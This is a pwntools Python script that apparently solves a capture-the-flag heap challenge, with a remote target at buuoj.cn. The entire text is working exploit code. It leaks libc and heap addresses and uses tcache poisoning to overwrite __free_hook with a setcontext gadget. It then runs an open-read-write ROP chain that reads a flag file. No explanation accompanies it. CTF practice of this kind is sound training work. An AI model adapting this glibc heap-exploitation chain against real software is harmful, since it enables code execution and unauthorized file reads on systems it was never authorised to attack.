1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
debug = 0 if debug: r = remote('node4.buuoj.cn', 26870) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def add(size, content): r.sendlineafter(b'please input your choise', b'2') r.sendlineafter(b'Please select a film of your preference within your budget.', str(size)) r.sendlineafter(b'Content:', content)
def show_delete(num): r.sendlineafter(b'please input your choise', b'1') r.sendlineafter(b'Do you want to take a few pictures?', str(num))
def load(index): r.sendlineafter(b'please input your choise', b'3') r.sendlineafter(b'whitch one do you want to load', str(index))
add(0x410, b'a') add(0x60, b'a')
load(0)
show_delete(1)
add(0x410, b'a') load(0)
show_delete(1)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecb61 libc = ELF('./2.31/libc-2.31.so') free_hook = libc.sym['__free_hook'] + libc_base setcontext = libc.sym['setcontext'] + libc_base magic_gadget = 0x0000000000151990 + libc_base
pop_rdi_ret = 0x0000000000023b6a + libc_base pop_rsi_ret = 0x000000000002601f + libc_base pop_rdx_ret = 0x0000000000142c92 + libc_base pop_rax_ret = 0x0000000000036174 + libc_base pop_rdx_r12_ret = 0x0000000000119211 + libc_base ret = 0x0000000000022679 + libc_base syscall_ret = libc_base + libc.sym['read'] + 0x10
add(0x410, b'a')
for i in range(8): add(0x60, b'a')
load(2) load(3) load(1)
for i in range(6): load(4 + i)
show_delete(9)
add(0x60, b'a') load(1)
show_delete(9)
r.recvuntil(b'The film content: ') heap = u64(r.recvuntil(b'\n')[:-1].ljust(8, b'\x00')) stack_addr = heap + 0x24f orw_addr = heap + 0x500
add(0x60 , p64(0) + p64(stack_addr))
for i in range(9): add(0x60, p64(free_hook))
add(0x60, p64(magic_gadget))
orw_addr = heap + 0x30f bss_addr = libc_base + libc.bss()
stack = b'./flag\x00\x00' + p64(0) * 3 + p64(setcontext + 61) stack += b'\x00' * (0xa0-0x28) stack += p64(orw_addr) + p64(ret)
add(0xb0, stack)
orw = p64(pop_rdi_ret) + p64(stack_addr) orw+= p64(pop_rax_ret) + p64(2) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(3) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0) orw+= p64(pop_rax_ret) + p64(0) orw+= p64(syscall_ret) orw+= p64(pop_rdi_ret) + p64(1) orw+= p64(pop_rsi_ret) + p64(bss_addr) orw+= p64(pop_rdx_r12_ret) + p64(0x100) + p64(0) orw+= p64(pop_rax_ret) + p64(1) orw+= p64(syscall_ret)
add(0x100, orw)
load(6) load(1)
show_delete(9)
r.interactive()
|